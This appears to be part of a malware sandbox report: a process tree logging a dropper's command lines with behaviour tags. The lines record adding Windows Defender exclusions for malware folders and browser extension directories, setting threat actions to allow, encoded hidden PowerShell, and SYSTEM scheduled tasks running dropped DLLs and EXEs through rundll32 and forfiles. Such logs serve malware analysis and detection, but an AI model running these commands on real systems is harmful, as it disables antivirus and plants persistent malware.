                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:540
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4068
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:3996
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:3120
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:2920
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:3128
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2364
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:2608
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:1052
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:948
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:3428
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:3432
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:3968
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:1064
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:1640
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:4752
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:1824
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:2892
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2884
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1612
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4000
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1272
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4888
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "gifeaXdtQ" /SC once /ST 02:06:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:3808
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "gifeaXdtQ"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2328
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "gifeaXdtQ"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3344
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 06:37:39 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\bBeiosi.exe\" 0c /gpMhdidrw 385120 /S" /V1 /F
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:4864
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2184
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 740
                                                                                                                                                                2⤵
                                                                                                                                                                • Program crash
                                                                                                                                                                PID:1928
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                              1⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                              PID:4564
                                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1204
                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3244
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3080
                                                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2684
                                                                                                                                                                    • C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\bBeiosi.exe
                                                                                                                                                                      C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\bBeiosi.exe 0c /gpMhdidrw 385120 /S
                                                                                                                                                                      1⤵
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Drops Chrome extension
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:744
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:3644
                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3720
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1164
                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:4300
                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2524
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:4360
                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:3660
                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4448
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:4416
                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:3304
                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                              forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5008
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:2536
                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:3796
                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1552
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:3280
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:5068
                                                                                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:1756
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:2040
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:3108
                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:1148
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:4020
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:4712
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:4696
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\KIltTn.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3624
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\xivzcnL.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3652
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /END /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3088
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:5060
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\fenPwrm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:1632
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\uwUMwUm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:812
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\sgXUbOi.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:1508
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\qPbcrDu.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:1588
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 00:58:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\VfNJydJw\PZZcWXr.dll\",#1 /jdidXUB 385120" /V1 /F
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:4916
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3940
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:3024
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 744 -s 2332
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                        PID:4532
